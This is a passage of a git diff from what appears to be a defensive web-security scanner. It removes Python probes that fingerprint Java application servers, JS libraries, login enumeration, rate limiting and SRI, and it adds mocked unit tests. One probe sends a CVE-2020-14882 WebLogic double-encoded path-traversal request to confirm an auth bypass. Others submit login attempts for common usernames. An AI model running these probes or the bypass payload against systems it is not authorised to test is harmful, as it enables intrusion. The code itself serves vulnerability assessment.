"2012", "6": "2016"}, - } - - def _web_test_java_servers(self, target, port): - """ - Detect and version-check Java application servers and frameworks: - WebLogic, Tomcat, JBoss/WildFly, Struts2, Spring. - - Parameters - ---------- - target : str - port : int - - Returns - ------- - dict - """ - findings_list = [] - raw = {"java_server": None, "version": None, "framework": None} - scheme = "https" if port in (443, 8443) else "http" - base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" - - # --- 1. WebLogic detection --- - weblogic_version = None - # Console login page - try: - resp = requests.get(base_url + "/console/login/LoginForm.jsp", timeout=4, verify=False, allow_redirects=True) - if resp.ok and "WebLogic" in resp.text: - raw["java_server"] = "WebLogic" - ver_m = _re.search(r'(?:WebLogic Server|footerVersion)[^0-9]*(\d+\.\d+\.\d+\.\d+)', resp.text) - if ver_m: - weblogic_version = ver_m.group(1) - else: - weblogic_version = "unknown" - except Exception: - pass - # T3/IIOP banner on root (some WebLogic instances) - if not weblogic_version: - try: - resp = requests.get(base_url, timeout=3, verify=False) - if resp.ok: - # Check for WebLogic error page patterns - if "WebLogic" in resp.text or "BEA-" in resp.text: - raw["java_server"] = "WebLogic" - weblogic_version = "unknown" - # Check X-Powered-By for Servlet/JSP versions typical of WebLogic - xpb = resp.headers.get("X-Powered-By", "") - if "Servlet" in xpb and "JSP" in xpb and not raw["java_server"]: - # Could be WebLogic or other Java server — check console - pass - except Exception: - pass - - if weblogic_version: - raw["version"] = weblogic_version - findings_list.append(Finding( - severity=Severity.MEDIUM, - title=f"WebLogic Server {weblogic_version} detected", - description=f"Oracle WebLogic Server {weblogic_version} identified on {target}:{port}.", - evidence="Detection via /console/login/LoginForm.jsp or error page.", - remediation="Restrict access to the WebLogic console; keep WebLogic patched.", - owasp_id="A05:2021", - cwe_id="CWE-200", - confidence="certain", - )) - if weblogic_version != "unknown": - findings_list += check_cves("weblogic", weblogic_version) - # Check for console exposure - try: - resp = requests.get(base_url + "/console/", timeout=3, verify=False, allow_redirects=True) - if resp.ok and ("login" in resp.text.lower() or "WebLogic" in resp.text): - findings_list.append(Finding( - severity=Severity.HIGH, - title="WebLogic admin console exposed", - description="The WebLogic administration console is accessible without IP restriction.", - evidence=f"GET {base_url}/console/ → {resp.status_code}", - remediation="Restrict console access to management network only.", - owasp_id="A01:2021", - cwe_id="CWE-306", - confidence="certain", - )) - except Exception: - pass - # CVE-2020-14882: Console authentication bypass via double-encoded path - try: - bypass_url = base_url + "/console/css/%252e%252e%252fconsole.portal" - resp = requests.get(bypass_url, timeout=4, verify=False, allow_redirects=False) - if resp.status_code == 200 and len(resp.text) > 500 and ( - "portal" in resp.text.lower() or "console" in resp.text.lower()): - findings_list.append(Finding( - severity=Severity.CRITICAL, - title="CVE-2020-14882: WebLogic console auth bypass confirmed", - description="WebLogic console authentication can be bypassed via " - "double-encoded path traversal, enabling unauthenticated " - "access to the admin console and RCE.", - evidence=f"GET {bypass_url} → 200 with console content.", - remediation="Upgrade WebLogic; restrict console access by IP.", - owasp_id="A01:2021", - cwe_id="CWE-306", - confidence="certain", - )) - except Exception: - pass - return probe_result(raw_data=raw, findings=findings_list) - - # --- 2. Tomcat detection --- - tomcat_version = None - try: - resp = requests.get(base_url, timeout=3, verify=False) - if resp.ok: - # Tomcat default page or error page - tc_m = _re.search(r'Apache Tomcat[/\s]*(\d+\.\d+\.\d+)', resp.text) - if tc_m: - tomcat_version = tc_m.group(1) - elif "Apache Tomcat" in resp.text: - tomcat_version = "unknown" - # Server header - srv = resp.headers.get("Server", "") - if not tomcat_version and "Tomcat" in srv: - tc_m = _re.search(r'Tomcat[/\s]*(\d+\.\d+\.\d+)', srv) - tomcat_version = tc_m.group(1) if tc_m else "unknown" - except Exception: - pass - # Try 404 page which often reveals Tomcat version - if not tomcat_version: - try: - resp = requests.get(base_url + "/nonexistent_" + _uuid.uuid4().hex[:6], timeout=3, verify=False) - tc_m = _re.search(r'Apache Tomcat[/\s]*(\d+\.\d+\.\d+)', resp.text) - if tc_m: - tomcat_version = tc_m.group(1) - except Exception: - pass - - if tomcat_version: - raw["java_server"] = "Tomcat" - raw["version"] = tomcat_version - findings_list.append(Finding( - severity=Severity.LOW, - title=f"Apache Tomcat {tomcat_version} detected", - description=f"Apache Tomcat {tomcat_version} identified on {target}:{port}.", - evidence="Detection via default page, error page, or Server header.", - remediation="Keep Tomcat updated; remove default applications.", - confidence="certain", - )) - if tomcat_version != "unknown": - findings_list += check_cves("tomcat", tomcat_version) - # Manager app exposure - for mgr_path in ["/manager/html", "/manager/status"]: - try: - resp = requests.get(base_url + mgr_path, timeout=3, verify=False) - if resp.status_code in (200, 401, 403): - findings_list.append(Finding( - severity=Severity.HIGH if resp.status_code == 200 else Severity.MEDIUM, - title=f"Tomcat Manager accessible: {mgr_path}", - description=f"Tomcat Manager at {mgr_path} returned {resp.status_code}.", - evidence=f"GET {base_url}{mgr_path} → {resp.status_code}", - remediation="Remove or restrict Tomcat Manager in production.", - owasp_id="A01:2021", - cwe_id="CWE-306", - confidence="certain", - )) - break - except Exception: - pass - # Do NOT return — frameworks (Spring, Struts2) often run on Tomcat - - # --- 3. JBoss / WildFly detection --- - jboss_version = None - try: - resp = requests.get(base_url, timeout=3, verify=False) - xpb = resp.headers.get("X-Powered-By", "") - jb_m = _re.search(r'JBossAS[- ]*(\d+)', xpb) - if jb_m: - jboss_version = jb_m.group(1) + ".0" - raw["java_server"] = "JBoss AS" - elif "JBoss" in xpb or "WildFly" in xpb: - jboss_version = "unknown" - raw["java_server"] = "JBoss/WildFly" - # Check for JBoss welcome page - if not jboss_version and resp.ok: - if "JBoss" in resp.text or "WildFly" in resp.text: - jb_m = _re.search(r'(?:JBoss|WildFly)[/\s]*(\d+\.\d+\.\d+)', resp.text) - jboss_version = jb_m.group(1) if jb_m else "unknown" - raw["java_server"] = "JBoss" if "JBoss" in resp.text else "WildFly" - except Exception: - pass - - if jboss_version: - raw["version"] = jboss_version - findings_list.append(Finding( - severity=Severity.LOW, - title=f"{raw['java_server']} {jboss_version} detected", - description=f"{raw['java_server']} {jboss_version} identified on {target}:{port}.", - evidence=f"Detection via X-Powered-By header or welcome page.", - remediation="Keep application server updated; restrict management interfaces.", - confidence="certain", - )) - # EOL check - if jboss_version != "unknown" and raw["java_server"] == "JBoss AS": - major = jboss_version.split(".")[0] - eol_date = self._JAVA_SERVER_EOL.get("JBoss AS", {}).get(major) - if eol_date: - findings_list.append(Finding( - severity=Severity.HIGH, - title=f"JBoss AS {jboss_version} is end-of-life (EOL since {eol_date})", - description=f"JBoss AS {jboss_version} no longer receives security patches.", - evidence=f"Version: {jboss_version}, EOL: {eol_date}", - remediation="Migrate to WildFly or JBoss EAP.", - owasp_id="A06:2021", - cwe_id="CWE-1104", - confidence="certain", - )) - if jboss_version != "unknown": - findings_list += check_cves("jboss", jboss_version) - # JMX console exposure - try: - resp = requests.get(base_url + "/jmx-console/", timeout=3, verify=False) - if resp.status_code in (200, 401): - findings_list.append(Finding( - severity=Severity.HIGH if resp.status_code == 200 else Severity.MEDIUM, - title="JBoss JMX console exposed", - description=f"JMX console at /jmx-console/ returned {resp.status_code}.", - evidence=f"GET {base_url}/jmx-console/ → {resp.status_code}", - remediation="Remove or restrict JMX console access.", - owasp_id="A01:2021", - cwe_id="CWE-306", - confidence="certain", - )) - except Exception: - pass - # Do NOT return — frameworks (Spring, Struts2) may run on JBoss - - # --- 4. Spring Framework detection --- - spring_detected = False - try: - resp = requests.get(base_url, timeout=3, verify=False) - body = resp.text[:10000] - # Spring Whitelabel Error Page - if "Whitelabel Error Page" in body or "Spring" in resp.headers.get("X-Application-Context", ""): - spring_detected = True - # JSESSIONID cookie (generic Java indicator) - if not spring_detected and "JSESSIONID" in resp.headers.get("Set-Cookie", ""): - raw["framework"] = "Java (JSESSIONID)" - except Exception: - pass - if not spring_detected: - try: - resp = requests.get(base_url + "/nonexistent_" + _uuid.uuid4().hex[:6], timeout=3, verify=False) - if "Whitelabel Error Page" in resp.text: - spring_detected = True - elif "org.springframework" in resp.text or "DispatcherServlet" in resp.text: - spring_detected = True - except Exception: - pass - # Spring MVC: POST to root returns 405 with Spring-specific message - if not spring_detected: - try: - resp = requests.post(base_url, data="", timeout=3, verify=False) - if resp.status_code == 405: - body = resp.text - if "Request method" in body and "not supported" in body: - spring_detected = True - except Exception: - pass - - spring_evidence = [] - if spring_detected: - raw["framework"] = "Spring" - spring_evidence.append("Spring MVC indicators detected") - findings_list.append(Finding( - severity=Severity.LOW, - title="Spring Framework detected", - description=f"Spring Framework identified on {target}:{port}.", - evidence="Whitelabel Error Page, X-Application-Context header, " - "DispatcherServlet in error page, or Spring MVC 405 response.", - remediation="Disable the default error page in production; keep Spring updated.", - confidence="certain", - )) - - # --- 5. Struts2 detection --- - struts_detected = False - struts_evidence = "" - # 5a. Check /struts/utils.js — present in all Struts2 apps using tag - try: - resp = requests.get(base_url + "/struts/utils.js", timeout=3, verify=False) - if resp.ok and len(resp.text) > 50: - struts_detected = True - struts_evidence = "/struts/utils.js present" - except Exception: - pass - # 5b. Check homepage for .action/.do URLs or Struts indicators - if not struts_detected: - try: - resp = requests.get(base_url, timeout=3, verify=False) - body = resp.text[:10000] - struts_indicators = [".action", ".do", "struts", "Struts Problem Report"] - if any(ind in body for ind in struts_indicators): - struts_detected = True - struts_evidence = ".action/.do URLs or Struts indicators in page" - except Exception: - pass - if struts_detected: - raw["framework"] = "Struts2" - findings_list.append(Finding( - severity=Severity.LOW, - title="Apache Struts2 framework detected", - description=f"Struts2 indicators found on {target}:{port}.", - evidence=f"Detection via {struts_evidence}.", - remediation="Keep Struts2 updated; review OGNL injection mitigations.", - confidence="firm", - )) - # Advisory: flag critical Struts2 CVEs when version is unknown - findings_list.append(Finding( - severity=Severity.HIGH, - title="Struts2 detected — critical RCE CVEs likely applicable", - description="Apache Struts2 was detected but the version could not be " - "extracted. Most Struts2 versions are affected by at least one " - "critical OGNL injection RCE: CVE-2017-5638 (S2-045), " - "CVE-2017-9805 (S2-052), CVE-2020-17530 (S2-061). " - "Manual version verification recommended.", - evidence=f"Struts2 detected via {struts_evidence}, version unknown.", - remediation="Verify Struts2 version; upgrade to latest (>= 6.x). " - "Disable OGNL expression evaluation in user input.", - owasp_id="A06:2021", - cwe_id="CWE-94", - confidence="tentative", - )) - - # --- 6. Jetty detection (from Server header) --- - try: - resp = requests.get(base_url, timeout=3, verify=False) - srv = resp.headers.get("Server", "") - jetty_m = _re.search(r'[Jj]etty\(?(\d+\.\d+\.\d+)', srv) - if jetty_m: - jetty_version = jetty_m.group(1) - raw["java_server"] = raw.get("java_server") or "Jetty" - raw["version"] = raw.get("version") or jetty_version - findings_list.append(Finding( - severity=Severity.LOW, - title=f"Eclipse Jetty {jetty_version} detected", - description=f"Jetty {jetty_version} identified on {target}:{port} via Server header.", - evidence=f"Server: {srv}", - remediation="Keep Jetty updated; remove Server header in production.", - confidence="certain", - )) - findings_list += check_cves("jetty", jetty_version) - except Exception: - pass - - return probe_result(raw_data=raw, findings=findings_list) - - # ── A08:2021 / A06:2021 — JS library version detection ───────────── - - _JS_LIB_PATTERNS = [ - # (filename regex, version-in-content regex, library name) - (_re.compile(r'jquery[.-]?(\d+\.\d+\.\d+)', _re.IGNORECASE), None, "jQuery"), - (None, _re.compile(r'/\*!?\s*jQuery\s+v(\d+\.\d+\.\d+)'), "jQuery"), - (None, _re.compile(r'AngularJS\s+v(\d+\.\d+\.\d+)'), "AngularJS"), - (_re.compile(r'angular[.-]?(\d+\.\d+\.\d+)', _re.IGNORECASE), None, "AngularJS"), - (None, _re.compile(r'Bootstrap\s+v(\d+\.\d+\.\d+)'), "Bootstrap"), - (None, _re.compile(r'Vue\.js\s+v(\d+\.\d+\.\d+)'), "Vue.js"), - (None, _re.compile(r'React\s+v(\d+\.\d+\.\d+)'), "React"), - (_re.compile(r'moment[.-]?(\d+\.\d+\.\d+)', _re.IGNORECASE), None, "Moment.js"), - ] - _JS_EOL_LIBRARIES = { - "AngularJS": "EOL since 2021-12-31", - "Moment.js": "Deprecated — use date-fns or Luxon", - } - - def _web_test_js_library_versions(self, target, port): - """ - Detect client-side JavaScript libraries and flag EOL/deprecated ones. - - Version detection only — emits INFO findings with version data for LLM - analysis to cross-reference against CVE databases. Only definitively EOL - libraries (AngularJS, Moment.js) get MEDIUM severity. - - Parameters - ---------- - target : str - port : int - - Returns - ------- - dict - """ - findings_list = [] - raw = {"js_libraries": []} - scheme = "https" if port in (443, 8443) else "http" - base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" - - try: - resp = requests.get(base_url, timeout=4, verify=False) - if resp.status_code != 200: - return probe_result(findings=findings_list) - html = resp.text - detected = {} # lib_name → version - - # Check script src URLs for version in filename - script_re = _re.compile(r']*\bsrc\s*=\s*["\']([^"\']+)["\']', _re.IGNORECASE) - for match in script_re.finditer(html): - src = match.group(1) - for filename_re, _, lib_name in self._JS_LIB_PATTERNS: - if filename_re and lib_name not in detected: - ver_match = filename_re.search(src) - if ver_match: - detected[lib_name] = ver_match.group(1) - - # Check inline script content for version comments - inline_re = _re.compile(r']*>(.*?)', _re.IGNORECASE | _re.DOTALL) - for match in inline_re.finditer(html[:50000]): - content = match.group(1) - for _, content_re, lib_name in self._JS_LIB_PATTERNS: - if content_re and lib_name not in detected: - ver_match = content_re.search(content) - if ver_match: - detected[lib_name] = ver_match.group(1) - - for lib_name, version in detected.items(): - raw["js_libraries"].append({"name": lib_name, "version": version}) - eol_note = self._JS_EOL_LIBRARIES.get(lib_name) - if eol_note: - findings_list.append(Finding( - severity=Severity.MEDIUM, - title=f"End-of-life JS library: {lib_name} {version}", - description=f"{lib_name} {version} is {eol_note}. " - "No security patches are available.", - evidence=f"Detected {lib_name} {version} in page source.", - remediation=f"Migrate away from {lib_name} to a supported alternative.", - owasp_id="A08:2021", - cwe_id="CWE-1104", - confidence="certain", - )) - else: - findings_list.append(Finding( - severity=Severity.INFO, - title=f"JS library detected: {lib_name} {version}", - description=f"{lib_name} {version} detected in page source.", - evidence=f"Version {version} found via script tag analysis.", - remediation="Keep client-side libraries updated.", - owasp_id="A06:2021", - cwe_id="CWE-200", - confidence="certain", - )) - - except Exception as e: - self.P(f"JS library probe failed on {base_url}: {e}", color='y') - return probe_error(target, port, "js_libs", e) - - return probe_result(raw_data=raw, findings=findings_list) diff --git a/extensions/business/cybersec/red_mesh/web_hardening_mixin.py b/extensions/business/cybersec/red_mesh/web_hardening_mixin.py index de71f85f..04fdb9fb 100644 --- a/extensions/business/cybersec/red_mesh/web_hardening_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_hardening_mixin.py @@ -1,6 +1,4 @@ import re as _re -import time as _time -import secrets as _secrets import requests from urllib.parse import quote @@ -388,336 +386,3 @@ def _web_test_csrf(self, target, port): continue return probe_result(findings=findings_list) - - - # ── A04:2021 — Insecure Design probes ────────────────────────────── - - _ENUM_MESSAGE_VARIANTS = frozenset({ - "user not found", "no such user", "unknown user", "account not found", - "invalid username", "email not found", "does not exist", - }) - - def _web_test_account_enumeration(self, target, port): - """ - Detect account enumeration via login response differences. - - Compares responses for a definitely-invalid username vs plausibly-real - usernames. Differences in status code, body length, or error message - indicate the server reveals account existence. - - Parameters - ---------- - target : str - port : int - - Returns - ------- - dict - """ - findings_list = [] - scheme = "https" if port in (443, 8443) else "http" - base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" - - login_paths = ["/login", "/api/login", "/auth/login"] - fake_user = f"nonexistent_user_{_secrets.token_hex(6)}" - real_candidates = ["admin", "root", "test"] - password = "WrongPassword123!" - - for path in login_paths: - url = base_url.rstrip("/") + path - try: - resp_fake = requests.post( - url, data={"username": fake_user, "password": password}, - timeout=3, verify=False, allow_redirects=False, - ) - if resp_fake.status_code == 404: - continue - - for real_user in real_candidates: - resp_real = requests.post( - url, data={"username": real_user, "password": password}, - timeout=3, verify=False, allow_redirects=False, - ) - fake_lower = resp_fake.text.lower() - real_lower = resp_real.text.lower() - fake_has_enum = any(m in fake_lower for m in self._ENUM_MESSAGE_VARIANTS) - real_has_enum = any(m in real_lower for m in self._ENUM_MESSAGE_VARIANTS) - if fake_has_enum and not real_has_enum: - findings_list.append(Finding( - severity=Severity.MEDIUM, - title="Account enumeration via login: different error messages", - description=f"Login at {path} returns different error messages for " - "valid vs invalid usernames, revealing account existence.", - evidence="Invalid user response mentions 'not found'; valid user response does not.", - remediation="Use generic error messages: 'Invalid credentials' for all failures.", - owasp_id="A04:2021", - cwe_id="CWE-204", - confidence="firm", - )) - return probe_result(findings=findings_list) - - # Check response length difference (>20%) - len_fake = len(resp_fake.text) - len_real = len(resp_real.text) - if len_fake > 0 and abs(len_real - len_fake) / max(len_fake, 1) > 0.2: - if resp_fake.status_code == resp_real.status_code: - findings_list.append(Finding( - severity=Severity.MEDIUM, - title="Account enumeration via login: response size differs", - description=f"Login at {path} returns different-sized responses for " - "valid vs invalid usernames.", - evidence=f"Invalid user: {len_fake} bytes, '{real_user}': {len_real} bytes " - f"(delta {abs(len_real - len_fake)} bytes).", - remediation="Ensure login responses are identical regardless of username validity.", - owasp_id="A04:2021", - cwe_id="CWE-204", - confidence="firm", - )) - return probe_result(findings=findings_list) - except Exception: - continue - - return probe_result(findings=findings_list) - - - _CAPTCHA_KEYWORDS = frozenset({"captcha", "recaptcha", "hcaptcha", "g-recaptcha"}) - - def _web_test_rate_limiting(self, target, port): - """ - Detect missing rate limiting on authentication endpoints. - - Sends 5 login attempts with 500ms spacing and checks for 429 responses, - rate-limit headers, or CAPTCHA challenges. - - Parameters - ---------- - target : str - port : int - - Returns - ------- - dict - """ - findings_list = [] - scheme = "https" if port in (443, 8443) else "http" - base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" - - login_paths = ["/login", "/api/login", "/auth/login"] - password = "WrongPassword123!" - attempt_count = 5 - - for path in login_paths: - url = base_url.rstrip("/") + path - try: - probe_resp = requests.get(url, timeout=3, verify=False, allow_redirects=False) - if probe_resp.status_code == 404: - continue - - rate_limited = False - for i in range(attempt_count): - resp = requests.post( - url, - data={"username": f"test_user_{i}", "password": password}, - timeout=3, verify=False, allow_redirects=False, - ) - if resp.status_code == 429: - rate_limited = True - break - if resp.headers.get("Retry-After") or resp.headers.get("X-RateLimit-Remaining"): - rate_limited = True - break - body_lower = resp.text.lower() - if any(kw in body_lower for kw in self._CAPTCHA_KEYWORDS): - rate_limited = True - break - if i < attempt_count - 1: - _time.sleep(0.5) - - if not rate_limited: - findings_list.append(Finding( - severity=Severity.MEDIUM, - title=f"No rate limiting on login endpoint ({path})", - description=f"{attempt_count} rapid login attempts accepted without " - "429 response, rate-limit headers, or CAPTCHA challenge.", - evidence=f"POST {url} x{attempt_count} with 500ms spacing — all accepted.", - remediation="Implement rate limiting on authentication endpoints.", - owasp_id="A04:2021", - cwe_id="CWE-307", - confidence="firm", - )) - return probe_result(findings=findings_list) - except Exception: - continue - - return probe_result(findings=findings_list) - - - # ── A08:2021 — Subresource integrity & mixed content ──────────────── - - _SCRIPT_SRC_RE = _re.compile( - r']*\bsrc\s*=\s*["\']([^"\']+)["\'][^>]*>', - _re.IGNORECASE, - ) - _LINK_HREF_RE = _re.compile( - r']*\brel\s*=\s*["\']stylesheet["\'][^>]*\bhref\s*=\s*["\']([^"\']+)["\']', - _re.IGNORECASE, - ) - _INTEGRITY_RE = _re.compile(r'\bintegrity\s*=\s*["\']', _re.IGNORECASE) - _IMG_SRC_RE = _re.compile( - r']*\bsrc\s*=\s*["\']([^"\']+)["\']', _re.IGNORECASE, - ) - _IFRAME_SRC_RE = _re.compile( - r']*\bsrc\s*=\s*["\']([^"\']+)["\']', _re.IGNORECASE, - ) - - def _web_test_subresource_integrity(self, target, port): - """ - Detect external scripts/stylesheets loaded without SRI attributes. - - Parameters - ---------- - target : str - port : int - - Returns - ------- - dict - """ - findings_list = [] - scheme = "https" if port in (443, 8443) else "http" - base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" - - try: - resp = requests.get(base_url, timeout=4, verify=False) - if resp.status_code != 200: - return probe_result(findings=findings_list) - html = resp.text - - for match in self._SCRIPT_SRC_RE.finditer(html): - src = match.group(1) - if not src.startswith(("http://", "https://")) or target in src: - continue - tag_start = match.start() - tag_end = html.find(">", match.end()) + 1 - tag_html = html[tag_start:tag_end] - if self._INTEGRITY_RE.search(tag_html): - continue - findings_list.append(Finding( - severity=Severity.MEDIUM, - title="External script loaded without SRI", - description=f"Script from {src[:80]} has no integrity attribute. " - "A compromised CDN could serve malicious code.", - evidence=f'' + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_subresource_integrity("example.com", 80) + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0) + self.assertEqual(findings[0]["owasp_id"], "A08:2021") + self.assertIn("SRI", findings[0]["title"]) + + def test_sri_present(self): + """External script with integrity= → no finding.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 200 + resp.text = '' + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_subresource_integrity("example.com", 80) + self.assertEqual(len(result.get("findings", [])), 0) + + def test_sri_same_origin_ignored(self): + """Same-origin script → no finding regardless of SRI.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 200 + resp.text = '' + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_subresource_integrity("example.com", 80) + self.assertEqual(len(result.get("findings", [])), 0) + + def test_mixed_content_script(self): + """HTTPS page with HTTP script → HIGH finding.""" + owner, worker = self._build_worker(ports=[443]) + resp = MagicMock() + resp.status_code = 200 + resp.text = '' + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_mixed_content("example.com", 443) + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0) + self.assertEqual(findings[0]["severity"], "HIGH") + self.assertEqual(findings[0]["owasp_id"], "A08:2021") + + def test_mixed_content_https_only(self): + """All resources over HTTPS → no finding.""" + owner, worker = self._build_worker(ports=[443]) + resp = MagicMock() + resp.status_code = 200 + resp.text = '' + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_mixed_content("example.com", 443) + self.assertEqual(len(result.get("findings", [])), 0) + + def test_mixed_content_non_https_port_skipped(self): + """Mixed content check only runs on HTTPS ports.""" + owner, worker = self._build_worker(ports=[80]) + result = worker._web_test_mixed_content("example.com", 80) + self.assertEqual(len(result.get("findings", [])), 0) + + def test_js_lib_angularjs_eol(self): + """AngularJS detected → MEDIUM EOL finding.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 200 + resp.text = '' + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_js_library_versions("example.com", 80) + findings = result.get("findings", []) + eol_findings = [f for f in findings if "end-of-life" in f["title"].lower()] + self.assertTrue(len(eol_findings) > 0, "Should flag AngularJS as EOL") + self.assertEqual(eol_findings[0]["owasp_id"], "A08:2021") + + def test_js_lib_version_detected(self): + """jQuery version detected → INFO finding.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 200 + resp.text = '' + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_js_library_versions("example.com", 80) + findings = result.get("findings", []) + jquery_findings = [f for f in findings if "jQuery" in f["title"]] + self.assertTrue(len(jquery_findings) > 0, "Should detect jQuery") + self.assertEqual(jquery_findings[0]["severity"], "INFO") + + # ── Phase 5: A09 Logging/Monitoring ───────────────────────────────── + + def test_verbose_error_python_traceback(self): + """Python traceback in 404 page → MEDIUM finding.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=3, verify=False, allow_redirects=None): + resp = MagicMock() + resp.status_code = 404 if "nonexistent_" in url else 200 + if "nonexistent_" in url: + resp.text = 'Traceback (most recent call last):\n File "app.py", line 42' + else: + resp.text = "Welcome" + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_verbose_errors("example.com", 80) + findings = result.get("findings", []) + traceback_findings = [f for f in findings if "stack trace" in f["title"].lower()] + self.assertTrue(len(traceback_findings) > 0, "Should detect Python traceback") + self.assertEqual(traceback_findings[0]["owasp_id"], "A09:2021") + + def test_verbose_error_clean_404(self): + """Generic 404 page → no finding.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=3, verify=False, allow_redirects=None): + resp = MagicMock() + resp.status_code = 404 if "nonexistent_" in url else 200 + resp.text = "Not Found" + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_verbose_errors("example.com", 80) + self.assertEqual(len(result.get("findings", [])), 0) + + def test_debug_mode_django(self): + """Django debug toolbar marker in homepage → HIGH finding.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=3, verify=False, allow_redirects=None): + resp = MagicMock() + resp.status_code = 200 + if "nonexistent_" in url: + resp.text = "Page Not Found" + elif "__debug__" in url: + resp.status_code = 404 + resp.text = "" + else: + resp.text = '
debug toolbar
' + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_verbose_errors("example.com", 80) + findings = result.get("findings", []) + debug_findings = [f for f in findings if "debug mode" in f["title"].lower()] + self.assertTrue(len(debug_findings) > 0, "Should detect Django debug mode") + self.assertEqual(debug_findings[0]["owasp_id"], "A09:2021") + + def test_debug_endpoint_actuator(self): + """Spring Boot /actuator returning 200 → HIGH finding via _web_test_common.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=2, verify=False): + resp = MagicMock() + resp.headers = {} + resp.reason = "OK" + if "/actuator" in url: + resp.status_code = 200 + resp.text = '{"_links": {"beans": ...}}' + else: + resp.status_code = 404 + resp.text = "" + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_common("example.com", 80) + findings = result.get("findings", []) + actuator_findings = [f for f in findings if "actuator" in f.get("title", "").lower()] + self.assertTrue(len(actuator_findings) > 0, "Should detect /actuator") + self.assertEqual(actuator_findings[0]["owasp_id"], "A09:2021") + + def test_debug_endpoint_404(self): + """/actuator returning 404 → no finding.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + resp.headers = {} + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_common("example.com", 80) + findings = result.get("findings", []) + actuator_findings = [f for f in findings if "actuator" in f.get("title", "").lower()] + self.assertEqual(len(actuator_findings), 0) + + def test_correlation_open_redirect_ssrf(self): + """Open redirect + metadata endpoint → correlation finding.""" + owner, worker = self._build_worker() + worker.state["scan_metadata"] = {} + worker.state["web_tests_info"] = { + 80: { + "_web_test_open_redirect": { + "findings": [{"title": "Open redirect via next parameter", "severity": "MEDIUM"}], + }, + "_web_test_metadata_endpoints": { + "findings": [{"title": "Cloud metadata endpoint exposed (AWS EC2)", "severity": "CRITICAL"}], + }, + } + } + worker._post_scan_correlate() + corr = worker.state.get("correlation_findings", []) + redirect_ssrf = [f for f in corr if "redirect" in f["title"].lower() and "ssrf" in f["title"].lower()] + self.assertTrue(len(redirect_ssrf) > 0, "Should produce redirect→SSRF correlation") + + # ── Phase 6: A06 WordPress plugins ────────────────────────────────── + + def test_wp_plugin_version_exposed(self): + """WordPress plugin readme.txt with version → LOW finding.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=3, verify=False, allow_redirects=False): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + if "readme.txt" in url and "elementor" in url: + resp.text = "=== Elementor ===\nStable tag: 3.18.0\nRequires PHP: 7.4" + elif "readme.txt" in url: + resp.status_code = 404 + resp.ok = False + resp.text = "" + elif "wp-login" in url: + resp.text = "wordpress wp-login" + else: + resp.text = '' + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_cms_fingerprint("example.com", 80) + findings = result.get("findings", []) + plugin_findings = [f for f in findings if "plugin" in f.get("title", "").lower()] + self.assertTrue(len(plugin_findings) > 0, "Should detect Elementor plugin") + self.assertIn("3.18.0", plugin_findings[0]["title"]) + self.assertEqual(plugin_findings[0]["owasp_id"], "A06:2021") + + def test_wp_plugin_not_found(self): + """Plugin readme.txt returning 404 → no plugin finding.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=3, verify=False, allow_redirects=False): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + if "readme.txt" in url: + resp.status_code = 404 + resp.ok = False + resp.text = "" + elif "wp-login" in url: + resp.text = "wordpress wp-login" + else: + resp.text = '' + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_cms_fingerprint("example.com", 80) + findings = result.get("findings", []) + plugin_findings = [f for f in findings if "plugin" in f.get("title", "").lower()] + self.assertEqual(len(plugin_findings), 0) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -5064,4 +5657,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase16ScanMetrics)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17aQuickWins)) 